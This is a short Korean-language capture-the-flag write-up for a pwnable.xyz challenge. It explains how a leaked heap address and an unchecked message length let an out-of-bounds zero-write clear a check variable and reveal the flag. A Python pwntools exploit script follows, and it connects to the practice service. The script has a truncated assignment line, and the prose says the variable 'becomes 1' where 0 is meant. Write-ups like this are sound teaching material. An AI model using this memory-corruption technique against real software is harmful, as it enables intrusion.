본문으로 바로가기

분석을 시작해보면!

일단 v3이라는 문자열에 malloc으로 메모리를 할당해준 후에, v3문자열 첫번째 원소에 1 이라는 값을 대입시킨다. 

여러분은 배열의 이름이 시작주소를 의미한다는 것을 알고있기때문에, 이해할 수있을 것이다.

그럼 v3을 0으로 만들어주면 되는데, 이미 v3에는 1이라는 값이 들어가있다.


그 후에, v3의 주소를 leak해서 출력해주고, 보낼 메시지의 길이를 입력하라고 나온다.

그리고 그만큼 size를 할당시켜주고, 입력받은 메시지의 마지막 원소를 0으로 만들고, write함수로 메시지를 출력하고 if문으로 간다.

if문에서는 v3이 0일때 플래그를 출력해준다.

그러면 우리는 여기서 v3을 0으로 만들 방법만 생각해보면 된다.


근데 시작할때 v3의 주소를 leak해주므로, v5[size-1] = 0 을 이용하면 우리는 v3을 0으로 만들수있다.

size에 v3의 주소보다 1큰 값을 넣으면, size-1으로 인해 v3의 시작주소를 가르킬것이다.

그리고 여기서 v5[size-1] = 0 이므로 v3은 1이 된다!

 

<exploit>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
  
= remote("svc.pwnable.xyz",30000)
 
r.recvuntil("Leak: 0x")
leak = r.recv(12)
print "[+] leak_hex : 0x" + leak
leak = int(leak,16)
print "[+] leak_dec : " + str(leak)
leak = leak+1
print "[+] Length of message : " + str(leak)
 
r.recvuntil("Length of your message: ")
r.sendline(str(leak))
 
r.recvuntil("Enter your message: ")
r.sendline("ABCD")
 
print r.recvall()
 
cs

성공!